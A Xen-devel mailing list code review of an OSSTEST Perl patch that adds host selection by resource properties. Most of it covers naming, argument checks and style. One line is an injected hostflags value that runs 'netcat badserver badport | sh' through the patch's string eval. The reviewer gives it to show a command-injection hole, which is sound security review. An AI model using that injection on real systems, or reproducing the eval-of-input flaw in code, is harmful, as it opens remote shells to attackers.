Re: [Xen-devel] [PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Jackson <Ian.Jackson@xxxxxxxxxxxxx>]

Ian Campbell writes ("[PATCH OSSTEST 3/4] Add support for selecting resources 
based on their properties."):
> In particular for allocating hosts based on host properties.
> 
> To do this we extend the hostflags syntax with "condition:arg1:arg2".
> This specifies that the candidate host must pass the condition given
> the arguments.

This looks pretty good.

> +package Osstest::ResourceCondition::PropMinVer;
...
> +sub new {
> +    my ($class, $name, $prop, $val) = @_;
> +    return bless {
> +     Prop => propname_massage($prop),

You can probably skip this propname_massage too, and require the new
actual flag settings to use the CamelCase naming.

I think this function should check the length of @_ so as to reject
invocations with the wrong number of :-delimited values.  (This is not
in general true of the various host access methods which arguably
ought to tolerate additional expansion arguments, so it wasn't in the
code you were cribbing.)

> +sub stringify {
> +    my ($pmv) = @_;
> +    return "$pmv->{MinVal} >= property $pmv->{Prop}";
                                ^
Maybe add `(version)' or `(v)' ?

> +    # If the required minimum is >= to the resource's minimum then the

You don't mean the `required minimum'.  It's the `maximum minimum'.
(In fact in the Linux kernel example it is going to be the _actual_.)

> diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
> index 294395d..345ffeb 100755
...
> +            } elsif ($flag =~ m/:/) {

Can we have   $flag =~ m/^\w+:   ?

That way we can invent new syntaxes (or even flags) which have `:'
further right, without ambiguity.

This will also avoid excitement here ...

> +             my (@c) = split /:/, $flag;
> +             my $o;
> +             eval ("use Osstest::ResourceCondition::$c[0];".
> +                   "\$o = Osstest::ResourceCondition::$c[0]->new(\@c);")

... if I specify

  all_hostflags='PropMinVer; system "netcat badserver badport | sh";:ha:ha'

> +                 or die "get ResourceCondition $@";
> +
> +             push @{$hid->{Conds}{host}}, $o;

I normally like to put some spaces inside the @{ } in this kind of
thing.

Ian.

_______________________________________________
Xen-devel mailing list
Xen-devel@xxxxxxxxxxxxx
http://lists.xen.org/xen-devel